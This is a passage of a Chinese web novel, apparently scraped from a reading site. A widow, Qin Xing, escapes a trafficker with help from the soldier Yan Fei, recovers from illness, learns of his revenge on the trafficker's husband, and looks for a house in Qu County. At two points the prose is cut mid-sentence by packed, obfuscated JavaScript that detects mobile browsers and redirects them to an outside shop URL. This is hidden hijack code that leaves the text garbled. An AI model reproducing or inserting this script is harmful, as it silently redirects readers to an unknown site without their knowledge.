倘若把她送来的那日秦三娘和老鸨谈好了她的卖身价,倘若昨夜她没有锯开那扇窗,倘若阎非昨夜没有去找她,那么,今日的她会是一副什么样的惨状呢? 她只要一闭眼,仍然能感受到昨日听闻秦三娘和老鸨密谋时的那种恐惧和绝望。 今日,就在不久前,老鸨下令让那些龟公将她捉住强按她签下卖身契时,更是有无边的恐惧向她袭来。 “比起被你诓卖为妓,我更愿那日溺入渭水河里一了百了。” 她一根根掰开秦三娘的手指。 “你心思不纯,想把我送入人间炼狱,现在说出来,还望我念你那所谓的救命之恩?” 一无所有,万念俱灰时,秦杏真的很感谢秦三娘给她指了一条‘生路’。 但这份感谢当时有多浓,在发现是一场骗局时便有多悔恨。 昨日在杂物间内,她曾无数次自省。 她悔自己轻信了秦三娘。 连一母同胞的亲兄弟都不顾自己的死活,凭什么一个同村的婶娘要对自己这般好? 她恨秦三娘意图把她卖入这种生不如死之地。 当时的她别无办法,此刻的她……虽然仍是借了旁人的势,但秦三娘的三言两语,休想将她蒙蔽。 失去支撑,秦三娘无力地跪坐在地。 她瞧瞧秦杏,又看看阎非,双目满是茫然。 她的金银珠宝,她的银票,拿不到了吗?全都要落入这二人手里了吗? 她心头也有了悔恨,却是悔恨那日不该下水去救秦杏。 本是图更多的财,没想到把这些年的积蓄都赔了进去。 触在地上的十指慢慢收拢,捏住袖口处的布料时,突然,她眉梢轻动。 好啊,这些年的家当都在箱子里不假,但今日她可是从丁香虔婆手里扣出了三百两银子来。 有这三百两,再加上她家死鬼手里那点私房……天无绝人之路,她很快还能再起家。 做下三滥勾当的人,通常面对黑吃黑时远没有普通人那般绝望。 旁人比我强,旁人吃我。 我比旁人强,我吃旁人。 所谓弱肉强食,人人都习惯了。 见识了阎非的功夫,秦三娘此刻心里已经认栽。 她几乎调整好心态准备再发家时,就听那阎王一般的人说出了句让她肝胆欲裂的话。 “刚才,宜春楼老鸨给了你三百两银票吧。” “没有!哪里有三百两银票?!”她矢口否认。 知道秦三娘会否认,阎非没有硬逼。 时辰不早了,他想早点了事,早点回客栈。 于是一把把抱了很久的木箱扔到了秦三娘脚边。 那一沓银票,他此刻才数了一遍,足有千两。 他蹲下,取了六张百两的银票出来,其余的皆扔到秦三娘脚边。 “三百两,你欲将秦杏卖出的身价。” “虽没得逞,但让秦杏担惊受怕了许多天。所以,这第一个三百两,算你赔给秦杏压惊的。” 银子和财宝就在脚边,秦三娘却不敢去够。 这是她意料之外的变故,她慌乱又茫然地,老实等待面前的人把话说完。 “第二个三百两,是你刚刚从老鸨手里讹的。若是我不配合停手,你怎么拿得到这三百两呢?所以,这三百两归我。” “我这样算账,你可满意?” 最后一句完全是接近商量的语气,秦杏以为阎非是问的自己,但仔细一看,却发现阎非自始至终没有看向自己的方向,原来是在跟秦三娘说话。 既然不是在问自己的意思,秦杏便作壁上观,一不出声,二不表态,只静静看着。 这边,确认过阎非不是在开玩笑,秦三娘简直是狂喜! 一千两银票剩了四百两,再加那些七七八八的银两等物……家底大部分都还在呐! 试探性地捡上箱子,又把银票死死攥入手中,眼观阎非和秦杏没有半点阻拦,秦三娘马上爬起来,一阵风似的跑了。 观着秦三娘的背影消失,整条后巷立时只剩下了二人。 经了这半下午的事情,秦杏对阎非的观感早已变得复杂。 曾经不过是很纯粹的恨,现如今还添了颇多忌惮和警惕。 “这里不是说话的地方,”阎非下颌点点几步外的宜春楼的后门,“跟我来。” 路引在他身上,刚刚的公道也是人家帮忙讨的。 秦杏明白自己没有讨价还价的资格,如来时一般,默默缀在他身后。 这一走,两人就重新走回了客栈。 不同的是,两人这回都是走正门入的。 “你在城中没有旧故,总要寻个地方歇息。远的暂且不说,今日先跟我一样住在这间客栈吧。”不待秦杏推辞,他取出路引和碎银推出去,直接替秦杏要了一件上房。 掌柜笑呵呵地接过,对照路引,详细记下了秦杏的信息,再之后,唤伙计将秦杏带到地字壹号房。 阎非住地字贰号房,就在秦杏左边。 伙计一走,房门一关,由着人安排了一天的秦杏终于开了口。 “你为什么帮我。” 她仔细思虑过了。 阎非武力高强,还懂些谋略,宜春楼七八个龟公都无法将他撂倒,老鸨、秦三娘都被他吃得死死的,自己无论从武力还是谋略,都不可能从他手底下逃脱。 尽管她对他确实有不少忌惮,可在连逃走都无可能的境地下,忌惮又有什么用呢?有这闲功夫揣摩,还不如早点问清楚对方到底有什么目的。 “三年前你送贺礼给李全,我用尽最怨毒的话骂了你。听闻李全的死讯,你来祭拜他,可知道我下落不明,你不是应该高兴才对吗?” 当年具体骂了些什么,秦杏已经说不上来了。 可能有什么好话呢?一定是些怨毒之言。 “那些话我从没放在心上。”一路上,阎非也想了很多。 这次见到秦杏,他知道秦杏对自己的成见依然在。 他不求消减多少憎恨,只求她能接受自己 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全袍泽的脸面,提着贺礼上门,装作毫不知情地吃一顿宴席,会耽误姑娘的一生。 捅破袍泽的疾患,好好的喜事泡汤,帮了那素未谋面的姑娘,却无异于捅了救命恩人一刀。 他从天刚亮踌躇到傍晚,又从傍晚枯坐到了第二日。 奉上那份迟到的贺礼时,他知道自己讨不了好。想过或许不去,才是最好的选择。 可他去了。 那些怨恨是他理所应当要承受的。 如今救秦杏,也是他理所当然要做的。 秦杏久久无言。 “我对你绝无歹意,天地为证。”路引、切结书、六百两银票,阎非全部掏了出来,一样样放到了秦杏面前。 “这些你统统收好。你染了风寒,养好身体为上,我去为你请个大夫。” 路引和钱财都有了,阎非并不确定秦杏会不会强撑着离开。 可为了让秦杏对自己多几分信任,他必然不可能将那些东西放在自己身上。 离去前,阎非交待小二多留意这边的动静。 若屋内的秦杏独自离去了,请他帮忙记一下离开的方向。 他不是不通人情事故的人,从钱袋里拿了好几枚铜板给小二。 受了赏,小二乐呵呵地应了。 不过,他安排的周详,却低估了秦杏伤寒的程度。 切结书、路引、银票。 这三样东西,阎非离去后,秦杏拿在手里左右翻看了不下几十次。 她不识字,切结书和银票都是第一次见,辨不出真假。 唯有路引,数日前入城时,她短暂地拿在手里过,递给守城官兵查验路引前,她清楚看到了路引右下方有一角不大的折痕。 此时仔细看过,折痕依旧在。 于是她把几样东西都贴着心口放着,心头那股气顿时一松。 大半天情绪起起伏伏,人又四处走动奔波不定。 没有那股急迫感压着,没有那股气强撑着,风寒的症状一下明显了起来。 她是想过趁阎非去请大夫的空档离开这个。 只是还没来得及成行,人便昏昏沉沉晕了过去。 两刻钟后,跨越半城又等了许久的阎非终于请来了一位白发苍苍,经验丰富的杏林高手。 也从小二口中得知秦杏并未踏出房门一步。 正觉欣慰间,推开房门一看——里面的情形连带着老大夫都吃了一惊。 只见秦杏瘫倒在地一动不动,倒下时带动凳子翻了,桌上包袱也掉了下来。 老大夫速速进屋,蹲在地上便切了个脉,尔后赶紧使唤着人,将她安置到床榻上去。 16. 第16章 面前是一段长长的、有无数分岔口的甬道,好像怎么走也走不到头。 焦虑像蚂蚁一样爬满全身,她爬行、疾走、奔跑,用尽一切手段去追逐出口……最终豁然开朗,浑身一轻地走了出来。 “醒了?” 有道沙哑的声音在耳边响起。 伴着声音,眼珠转动两下,秦杏茫然地睁开眼。 入目是一张不太熟悉的脸。 男人眼中血丝不少,下巴处长有许多青色胡茬。 这是谁?她在哪? 这是……哦,想起来了,她想趁着阎非不在离开客栈,好像是脑袋晕了一下,然后就记不得了。 她脸上的茫然太过明显,男人一眼就明白她了的情绪。 “昨日我领着郎中归来,一推门就见你昏睡在地。” “你睡了一夜,现在是巳时二刻。” 至于秦杏昏睡的原因,郎中诊断是因为寒热加上长久惊惧,引外邪入体所致。 “虽不是大病,但仍需要好好养着。客栈,我自作主张又替你续了三日。” 喉咙发苦,浑身也没什么力气,秦杏光听完这些就已经觉得费劲,生不出考虑短长的想法了。 看她点点头,像是没有异议的样子,阎非肩膀一松,眉目都舒展了几分。 他从床旁的小凳上站了起来,“饿了吧?我去叫王嫂来喂你吃些东西。” 王嫂是秦杏昨日昏倒后,阎非托客栈伙计寻来照顾秦杏的人。 从昨日到今日,郎中切脉开方后,这一整夜秦杏喝药、换衣都是由王嫂料理的。 阎非天不亮出门办事,刚刚回来听闻秦杏还没醒,有些忧心才过来看看。 现在秦杏醒了,孤男寡女理当避嫌。 他出门后过了片刻,果然有一名年轻的妇人端着饭食来到床前。 王嫂不太健谈,但眼力好,干活细心又麻利。 她托着秦杏的背坐起来,拿枕头垫靠在秦杏背后。碗有些沉,怕秦杏端不稳,她就把房中间的桌子搬了过来。 于是秦杏坐在床沿边上,只要虚虚扶着碗就能好好进食。 吃过饭,她打了热水来又给秦杏擦了遍脸和身体,再将昨夜秦杏发热出汗,濡湿了一些的卧单重新换了干燥的。 秦杏刚醒来时身体没什么劲儿,全身虚虚的。 经过王嫂这么一通擦拭,午时,又在王嫂的帮助下再度用了些饭食,吃过了一次汤药,终于有了些精神。 她歪靠在床架上,眼往下一撇,才看到自己身上的衣裳已经不是昨日那套了。 心下一突,她忙伸手将前襟袖口都摸了一遍,却摸了个空。 “王嫂,昨日你替我换下的脏衣裳放在哪里?” 秦杏语气急切,问出这话时猛地坐直了身体,往前一扑。 她也是傻了,竟这会儿才想起去寻路引、银票的去处,那些可都是不能泡水的东西啊。 “姑娘是找衣裳里面的东西吗?”见她这般着急,王嫂忙忙上前解释,“那些东西阎相公都替你收着了。” 闻言,高悬的心刹那落了地。 她点点头,控制着身体慢慢靠回原处。 不过,说起来……她眼神虚虚往旁边墙壁落了落。 隔壁的人,现在在做什么呢? 她拇指轻掐食指指尖,不自觉地想起这人。 心绪辗转,时而疑惑,时而忧愁。透过水波盈盈的杏眸,偶尔能从其中瞧见极快掠过的一丝后悔与感激。 王嫂见她怔怔出神,踮起脚尖,小心退至门边不做打扰。 余留在床的秦杏,全然未意识到此刻的心绪竟然比较前天晚上遇见阎非那会儿更加复杂。 不管她想了多少,总之直至傍晚,日暮时分,秦杏才再次听到阎非的声音。 彼时,王嫂端着她用过夕食的碗碟出门。 “阎相公。” 阎非颔首算是应过,伸手自怀中取出准备好的报酬,“辛苦了,王嫂。这是昨夜和今日的工钱,早些归家歇息吧。” “多谢阎相公。”把手上东西腾到一只手上,王嫂把手在身上抹了抹,才不大好意思地从阎非手上接过酬劳。 过了须臾,她又小心抬头问了一句,“明日可还需要……” “要。”闻弦知雅意,阎非肯定地点点头。 “劳你明日卯时末过来。” 王嫂便显而易见地松了一口气,放松的眉眼无一不往外透露着开心。 秦杏竖耳听着外面的动静,渐渐地,脚步声响起,外头静了下来。 说不上是落空还是百无聊赖,她捏着被角,气息 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17535659|201981||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 渐渐沉了下来。 就在此时,“笃、笃、笃——” 房门被规律地敲响了三下。 她惊疑不定地看向没闩上的房门,然后听到耳熟的声音响起:“嫂子,方便进来吗?” 嫂子? 确定门外是阎非的声音,秦杏不可避免地愣了愣。 门外,阎非凝神等待着房里的动静。 就在方才敲门前,他才意识到自己这些天从没有正式的称呼过秦杏。 秦杏的年龄……看上去比他要小一些,具体他并不详知,但李全年纪要比他大一些。 想来想去,称呼一声嫂子,应当还算合适。 时间静悄悄流逝着,秦杏几番吸气,呼气,最终张开发涩的喉咙,“进来吧。” 隔了两秒,阎非才推动面前那扇门。 时候不早,屋中光线已经不大充足了。 秦杏坐在床上,被子盖到腰际。 他略略扫了一眼,不再往那个方向看。 又走了几步后,驻足停在灯架前,拿起火折子将屋里的灯点燃。 火光燃起,环境不再幽暗。 孤男寡女共处一室会滋生出暧昧和旖旎的可能,似乎也消散了。 秦杏抚平被角,阎非将腰背更挺直了几分,打破了寂静。 “嫂子身体可好些了?” “好多了。” 头不昏沉了,身体也轻盈了,因风寒带来的不适,在喝了一整日药后已经消散了很多,此时此刻,甚至不如手上那些深浅不一的伤口来得不适。 阎非点点头,把手上提着的糕点轻轻摆放到床边。 “今日在城中走了走,看到东城那边有家糕点铺子生意很不错,顺手买了点。” “都是些好克化的,问了郎中,病中也能吃。” 俗话说,病来如山倒,病去如抽丝。 李全离世后这些日子,她一直过得不大顺心。 前天初见时黑灯瞎火的还没什么感触,直至昨日秦杏换上他在成衣铺子里买的第一套衣裙,看到那些多余出来的布料、只能依靠束紧腰带勉强穿上身的裙子,他才对秦杏这些时日的苦经历有了实感。 本就瘦的人,病完一场更不知要虚成何样。 若能趁着病中补补,想来对身体有裨益。 17. 第17章 包装工整严密的油纸包足有三个,细细的麻绳将它们整齐的捆绑在一起,最上端可供手提的区域,挂在修长的四根手指指头上。 秦杏看着那只麦色的手悬停在床边,将几包糕点放下后,妥帖又守礼地放回身侧。 虽然刚守寡不久,但那些仗着她丧夫就敢上门来欺辱占便宜的人,秦杏已经见识过了。 这份规矩守礼,让她由内而发的松了口气。 “多谢。” 这是这些天来第一次道谢,由衷的,又不仅仅是表面的。 阎非有些意外。 “嫂子客气了。”语气中隐含了两分自己都没意识到的受宠若惊。 察觉秦杏对自己的排斥少了些,琢磨了两天的事宜,似乎有了机会开口。 不过他没有贸然,经过一番斟酌,决定先探一探秦杏的口风。 床旁有条小凳子,王嫂先前一直坐在那儿陪着秦杏。 为了减少体位带来的压迫感,他撩起袍角坐了下来,温和地说了说自己的情况。 “我如今在西北大营任都尉一职,此次来郸州前向主帅告了月余的假。” 见秦杏神色如常,他终于切入了正题:“嫂子之后有什么打算?” 没想到他会问这个,秦杏有些狼狈地低下头。 诚然,昨日拿到路引她想过瞒着对方悄悄离开客栈,但是具体去处,她心头还没有一个十分靠得住的打算。 仅是暂时落脚,待在哪里都可。 若要打定主意去一个地方生活个几年十几年,那便要仔细思量了。 诚然,她现在有些银票傍身,好像哪里都去得。 可只要仔细想想,便又发现处处都不那么可靠。 郸州城,没有旧故,反而有宜春楼老鸨和秦三娘这些仇人。 渠县,李全在那里做了几年活,她倒是跟认识一些人,不过都没有深交,不太清楚那些人的底细和秉性。 李家沟和秦家村,这两个地方之前都不存在她的容身之所,要是捧着银票回去,恐怕更会被拆分殆尽。 以后除去偶尔回乡祭拜一番,其他时候没什么回去的必要了。 几处比对下来,最合适的,恐怕只有渠县。 不一定有人能照应她,但起码没人图谋伤害。 …… 或许是在病中,防备心没有那般重,或许是被这几天的帮助而感化,总之,面对这个阎非肃容提出的问题,秦杏没有敷衍,按照本心答了。 “渠县……” 阎非咀嚼着她给出的答案。 平心而论,阎非也觉得秦杏如果留在郸州境内的话,渠县确实算是一个中等去处了。 可渠县委实不大,他今日去了一趟,走遍整座县城,半个时辰不到。 李家沟和秦家村的人逢年过节亦或是农闲时分进城寻活干,总是去渠县去得多一点。 在那里置办了宅子,保不齐数月、半年的时间,就能遇上以前的熟人。 人的贪欲是无穷无尽的,她一个人,面对旁人的算计,难免有防不胜防的时刻。 所谓帮人帮到底,送佛送到西。 阎非心里头有个疯狂又大胆的规划,像嫩芽即将从泥里破土而出一样,越来越势不可挡,压制不住了。 可目前显然不是说这个的好时机——好不容易秦杏态度软和一些了,他不想破坏这份来之不易的平和。 勉力压制着那股提议的欲望,只接着聊了两句平常的。 后面两日,王嫂每天一早来照顾她,傍晚看着她喝完汤药才回家。 而这两日里,每天阎非都会抽空带些外面买来的吃食来看看她的情况。 可不知是错觉还是如何,秦杏总觉得这两天阎非神色不大好,似有心事。 连着吃了三天老郎中开的药,风寒差不多好了。 今日起王嫂就不再来了。 晨起后,小二送了朝食到屋里,秦杏将自个儿的衣物整理好,敲响了隔壁屋子的门。 最近两天阎非大多是傍晚才去见一见秦杏,乍然白日里一见,才发觉她气色与之前相比已经好了许多。 “嫂子。”稳声打过招呼后,他看到了秦杏手里的包袱,于是向外迈步从房里走了出来。 “我也收拾好了,走吧。” 两人提着包袱一前一后下了楼,柜台后的掌柜见了,便知他们不再续住了。 他扬声往后院吆喝了一句,吩咐伙计赶紧把阎非存在马厩中的马牵出来,接着笑呵呵地拱手道:“二位这便离去吗?不知此行所去多远,需不需要补充些干粮?若赶远路,本店有馒头,有蒸饼,都适合带在路上吃。” 秦杏看向阎非,而阎非道:“此去不远,暂时不必备干粮。多谢掌柜了。” “阎相公客气了、客气了。”掌柜笑意吟吟地抚了抚须,“那小老儿就祝二位一路平安。” 阎非轻轻颔首,牵住店门口伙计送来的马。 大街上人流如织,光走就已经费力了,再提着包袱更是难行。 阎非索性把两人的包袱系在一起,挂在了马背上。 “嫂子在城中可还有事要办?”走出半条街,阎非方想起来问。 在开口让阎非停一停和不开口之间天人交战半天了的秦杏总算松了口气。 “有。” 紫苏、环佩、清香,都是在宜春楼里帮了她很多的恩人。 此番离开郸州去往渠县长居,再见不知何时了,为她们每人买一份礼物,方不算辜负人家那些时日的照拂。 她去了钱庄,散开了一张百两的银票。 昨日两人开诚布公谈了谈,阎非把路引、银票等物又还给了她。 兑出碎银、银锭和小额的银票后,秦杏接着又去了香粉铺、首饰铺、布庄,依据观察到的三人的喜好,给她们一人买了一样物什。 她自然是不可能再踏进宜春楼的,于是加了些钱托这些铺子的伙计晚些时候将东西送去,并捎了几句话。 做完这些花了半个时辰,天色已然不早了。 郸州阴雨连绵了太久,难得今日是个晴天。不过,晴天也有晴天的不好——日头太晒了。 尽管已经挑阴凉的屋檐下走,但汗依然没少出。 秦杏又一次擦去脸上的汗珠后,眼角余光瞥见前面路边有个卖各种编织物的小摊,摊上有竹制的斗笠、蔺草编织的草帽。 索性耽搁了这么些时辰,也不差一时半会了。 她出声让阎非停一停,自己前去挑选了一顶草帽、一顶斗笠。 从阎非这张脸上就可以看出没少经历风吹日晒。 也不知道这人到底如何从西北赶到郸州的,竟然单人匹马,随身行囊中连一副雨具都不见。 总之,待去过渠县后,他便差不多要启程归营了。 买一顶斗笠给他,日头大的时候遮阳,下雨的时候挡雨,怎么都用得上。 两人一递一接,全程无声却自有一种默契存在。 等都将帽子戴好,阎非环顾左右后出声道:“时候不早了,早些出城吧。” 秦杏自无异议。 然而,就在两人只需再过一条街就能去到城门口时,变故横生。 秦杏先闻身后声音突然嘈杂了起来,仔细一听是多了喝骂声与马蹄声,不等回头,那声音很快被更加尖锐刺耳的声音替代,似是惨叫。 身旁、前后,无数人皆被动静吸引,回头看去。 只见一辆阔气的马车停在官道中间,而马车前站了两人,一人执鞭在朝下抽打,一人躺在地上惨叫。 秦杏与周围的大部分人一样,惊异地看着这一幕。 几鞭,又或者是数十鞭之后,地上的人渐渐发不出惨叫了。 鞭挞的声音渐渐停了下来,四周围观者皆鸦雀无声。 万籁俱寂时,只听马车中有个年轻的男声不耐地吩咐道:“行了,扔到旁边去。快走!” 话音落,那满身衣裳都被鞭子抽出许多破口,皮开肉绽的人就被执鞭者毫不犹豫地踢踹到了路边。 太残暴了。 秦杏全身血液几乎凝固住。 “马车要动了,避开。” 看秦杏没有动,阎非索性伸手拉着她站到了一边。 等马车的车轱辘滚过,众人才似活了过来。 有人喊:“快叫郎中!” 有人招呼周围人都围上去,“都来认一认这人是谁,赶紧将他家人叫来!” 一团乱中,秦杏也拔开步子朝那个方向而去。 一道极低的声音在耳边响起。 “别去。” 她抬头,看到阎非幅度极小地摇了一下头。 放在三年前,她一定会不顾阎非的劝阻。 但这是三年后,因近来种种,她心中早已不自觉的对眼前人产生了信任,所以不过犹豫一瞬,她就停住了上前的步子。 穿过两条街,亮出路引顺利出了城,四周人烟逐渐稀少。 “你刚刚为什么说‘别去’?” “因为不必去。” “不必去看,不必去帮。一切是他罪有应得。” 秦杏满脸的茫然终结在阎非下一句话出口之后。 “他是秦三娘的丈夫。” 从郸州东城门去往渠县,走过去路上要花费一个多时辰。 阎非把握住秦杏的好奇心,哄小孩一般先将她哄着坐到了马背上,才牵着缰绳慢慢解说起来事情的经过。 那日,秦三娘吐露出的被害女子的身份、住址,阎非都一一记在了心里。 秦杏卧病在床的第一日,阎非就城内城外寻找起那些女子来。 不查不知道,秦三娘报出姓名的八名女子中,有三人自尽,一人被家族沉塘,一人得了疯病,两人沦落风尘,家中与其断绝关系,最后一人则矢口否认,拒不承认这段经历。 阎非找去,本是想让她们上公堂去指告秦三娘夫妻二人,让这作恶多端的夫妻俩,得到律法制裁。 可多番奔走下来得知那些女子的结果,唯有默然。 就这么放过吴忧、秦三娘二人吗?阎非在心中这般问过自己。 答案是:不,他不愿意。 这等狗彘不若,罪该万死 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17541960|201981||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 之人,凭什么让他们活着继续为祸人间? 于是,他悄然跟踪了吴忧。 功夫没有白费,半日不到,他就发现了吴忧的死穴——嗜酒如命。 他稍费了些心思,找了人将喝醉的吴忧带入了赌坊。 一夜之间,他输光了所有家产,连带他们买下的那处宅院。 白纸黑字按下的手印,想抵赖也抵赖不得。 可这也仍然不够。 他们的钱都是从歪门邪道里弄来的,一朝败光,难免他们不会变本加厉祸害更多姑娘。 所以,就有了今日街上那一遭。 “吴忧不死也残,秦三娘那日在宜春楼又因为贪心,得罪了宜春楼的老鸨。” “你从宜春楼离开的这笔账,老鸨必定算在秦三娘身上。” 日后秦三娘一边要照顾身残的吴忧,一边要应付宜春楼老鸨的报复,再也做不出多少坏事了。 听完一切,马背上的秦杏陷入了深深的自惭形秽。 明明那天她也亲耳听到了秦三娘说出的那些人名,可她除了愤怒,脑袋一片空白。 这么多天过去,那些人名甚至已经在她脑海中渐渐淡去了。 此时此刻她羞愧,羞愧于自己的所作所为、所思所想抵不上别人一丝一毫。 她自谴,悔自己沉溺于自身悲痛,没有勇气去官府状告秦三娘和宜春楼。 之后的路程,秦杏没再说话。 直到渠县的城墙遥遥在望,她方将复杂的视线再度投射到阎非身上。 这一路时不时被马背上的人注视,阎非早已习惯了。 临出郸州城前看到了吴忧的结局,算是了却了一桩心事吧,因此一路上他都心情颇好。 再次察觉到秦杏看着自己,他索性回头与她对视上。 嘴角高高扬起,他指着城门道:“进去后还是先寻个客栈,再出发去寻购宅院吧?” 这人……牙齿真白。 日头有些晃眼,秦杏伸手压低了草帽,用一如往常,不太在乎的语气回道:“都行。” 挑选客栈,阎非在行。 上次在渠县转了一圈,他把城里各处分布记得差不多了。 渠县县城里客栈只有三家,其中最好的一家也仅仅是能类比他们在郸州城住的那家客栈。 身边有女子同行,首当其冲的是要保证安全。 于是他选择了最大的那家客栈,要了紧邻着的两间上房。 放下包袱,已经接近午时了。 两人就在客栈中用了些粗茶淡饭,便直奔城中最大的宅行。 去的路上,阎非询问秦杏可想好了要买个多大的宅子,坐落在什么地段。 秦杏早早在心里盘过了手头的银钱。 昨夜,阎非要将路引等物以及六百两银子尽数给她,不过她坚持只要了三百两。 三百两银子很是不少,是她这辈子拥有过最大的一笔钱。 这么些钱拿去乡下盖房,恐怕一个村的房都能盖起来。 但听说在城里,就不是那么一回事了。 似在郸州见到的那种好宅子,如秦三娘家那种有个小院,地段也不错的,便至少要上百两。 宜春楼那种前三层后带小院的,更是不知要几千两才能买下。 渠县的宅院价格比不上郸州,秦杏自是知道。 可哪怕只是一下花出去个几十两,也怪叫她心疼了。 她抿了抿唇,开口道:“宅子不必大,仅我一人住,能腾挪得开身便好。地段倒是希望能处在热闹些的地方。” 毕竟独居,若是住得偏了,被人欺负上门都叫天不应,叫地不灵。 阎非点点头,“我知晓了。” 待进了门,就由阎非开口向房牙子打听了起来。 “地段要好,宅子又要不大的,近些日子,还真没这样的民宅出售。” 渠县不大,往上比不过郸州,但往下比起乡下,那是绰绰有余。 住在这县城里的人,只有发达了往郸州城里移居的,没几个会变卖房屋回到乡下。 可想往上走,那郸州宅院的价比渠县又高上太多,是以,这渠县中啊,少有人变卖宅院。 不过,挂在宅行里的宅子总归都是要售出的。 房牙子细看了看他二人,堆满笑推荐起手头其它宅子来。 “二位瞧着满身贵气,何不置办一处大些的宅院?方口街那里有栋独门独院的宅子,乃十年前所盖的新宅,那砌的可是青砖白瓦,分外气派……” 前头秦杏都听得心动了,最后得知这栋宅子两进两出,吓得她售价都不敢细听,忙拉了拉阎非的衣袖。 ——两进两出的宅子,贵也好,便宜也罢,送给她一人住,她都不敢住啊。 “二位不喜欢这一套无妨,还有。” 房牙子妙语连珠,一套接着一套,分别介绍了长乐街一处前铺后宅的院子,东风街稍显僻静处的独栋小宅…… 每一处呢,这房牙子都先说好处,待得他们问起,才提那些不足的地方。 秦杏听得是头昏脑涨,两眼冒星。 18. 第18章 “看地买宅,添丁进口,都是人生之大事。不必太急着做决定。” 发觉秦杏听得晕头转向拿不定主意,阎非干脆地寻了个借口,带着秦杏自宅行告辞离开了。 走在街上,秦杏那股晕乎乎的感觉才算消退一点。 这时,她开始庆幸昨日自己昨夜同意了阎非跟来看看宅子的提议。 多一人在,总没那么容易被房牙子哄骗。 心中怀着感激,她看了看天色,难得主动提议道,“去吃点夕食?” 阎非自无异议。 渠县不大,在秦杏有限的,与之相关的记忆中,她记得城门口处有一家口味极佳的小店。 两人并肩同行,走了小半刻钟,顺利来到了离城门不远的一处夹角。 “就是这儿!” 经过两个小摊后,左顾右盼的秦杏突然惊喜地指着一处。 阎非顺着她白葱似的指尖往前看去,一间屋子狭长,但打扫得干净的小铺出现在视野里。 只见店里摆了三四张小桌,一个小柜台。 生意并不冷清,店内桌子已经坐满了大半,只剩下最后一小张。 他抬头,视线往门口悬挂的,正迎风招展,写有‘李记馄饨铺’招子上落了落,很快便抬腿跟上秦杏进店的脚步。 店内食客多是男子,快步迈进去后,从顺利找到店铺的惊喜中回过神的秦杏脚步变得踌躇起来。 “两位吃些什么?”柜台后边看店边包着馄饨的矮瘦店主放下手里的活儿,擦擦手迎了出来。 “本店馄饨有荠菜馅的,虾肉馅的,地三鲜的。” 阎非不动声色地越过秦杏站到人前,高大的身影,完美遮挡住店主以及周围食客不经意看来的视线。 “你吃哪种?”这句话是对着秦杏问的。 面前的人墙给了秦杏前所未有的安全感。 她轻轻吐出一口浊气,回答道:“虾肉的。” 想了想,是自己带阎非来的这家铺子,于是补充了一段介绍:“这里的馄饨滋味都不错。荠菜味儿的香,虾肉的滑弹,地三鲜味儿的,是尝过不忘的鲜。” 阎非点点头表示知晓,旋即对着店主点菜:“虾肉的来两碗,荠菜的和地三鲜的各来一碗。” 店主敞亮地应了一声“好嘞!”,对着后厨方向响亮地唱了一遍菜名。 店中最后一张空桌就在门口,桌边相对摆着两条长凳。 秦杏选择面对街上,背对着店中人而坐。 阎非自然在她对面坐下。 两人今日说的话比前些日子说得都要多,这会儿相顾也无言,视线在空中微微一碰后,默契的躲开看向旁处,只有耳朵里同时灌入店中其他食客吃馄饨喝汤、交谈的声音。 过了片刻,两碗不断往上蒸腾着热气,一路飘香的虾肉馄饨率先被放入托盘中盛了上来。 属于自己的那碗被摆到面前来时,一股霸道的香味顷刻钻入阎非鼻尖。 他低头,只见两手大的海碗里飘浮着大半碗馄饨,每一个都有着胖乎乎的肚儿,白生生的尾巴。 透过碗面上的葱花以及薄薄一层皮,隐约可见肚儿里头红色的虾肉。 晌午在客栈随便对付的那两口粗茶淡饭早就消耗一空了。 鼻尖闻到的香,结合眼睛看到的色,霎时便勾出了阎非腹中的馋虫。 他按捺住进食的冲动,眼观对面。 只见秦杏用素白的手指拿起瓷碗边上的勺儿,沿着碗边舀了小小半勺汤吹了吹,不紧不慢送到红唇边,轻抿了一口鲜汤。 看她喉间轻滚,一口汤顺利咽下,阎非方拿起碗中的勺儿快速搅散些热气,接着埋头一口一颗馄饨,大快朵颐起来。 还真别说,风餐露宿赶来郸州,以及到郸州后的这些日子,多数时候都是吃个将就。 这般色香味俱全的美食,阎非头两碗吃得狼吞虎咽,食至第三碗时才放慢了动作,细细去品其中滋味。 饶是如此,他喝完最后一口汤时,秦杏也不过刚刚吃完。 拿帕子沾了沾唇,秦杏数了铜钱出来会账。 荠菜馅、地三鲜馅的,都只要八文钱一碗,虾肉馅的则贵四文。 店主说,这虾肉是他们夫妻二人,每日清晨去县城外渭水河边新鲜打捞小河虾,再回来剥壳取肉而制成。因又费时又费力,不贵一些,卖不出成本。 秦杏不是头一回吃了,自然知道。 阎非则思极刚刚虾肉入口的那份弹滑,以及不输地三鲜、荠菜的鲜爽,觉得这份美味实属来之不易。 会了账,店主留在桌前收拾碗勺,秦杏徐徐起身。 “诶?”店外传来一道十分惊奇的声音。 秦杏抬头,便对上了店外推着独轮车的提瓶人,很快怔愣住了。 “江大,今日这么早?等等我,我去把泔水提出来。”此话是矮瘦店主说的。 说罢,他匆匆捧着桌上四个大碗进了后厨。 秦杏还绞着手,怔怔立在原地,阎非顺着她目光看去,只见店外那推着独轮车的人,车上堆着四五个泔水桶,正上下打量着秦杏与他。 这份打量,本能地让阎非心生不喜。 他偏头看向秦杏,“认识的人?” 秦杏抿了抿唇,垂下视线。 还未等她解释,名唤江大的男子已经大步跳进了店里。 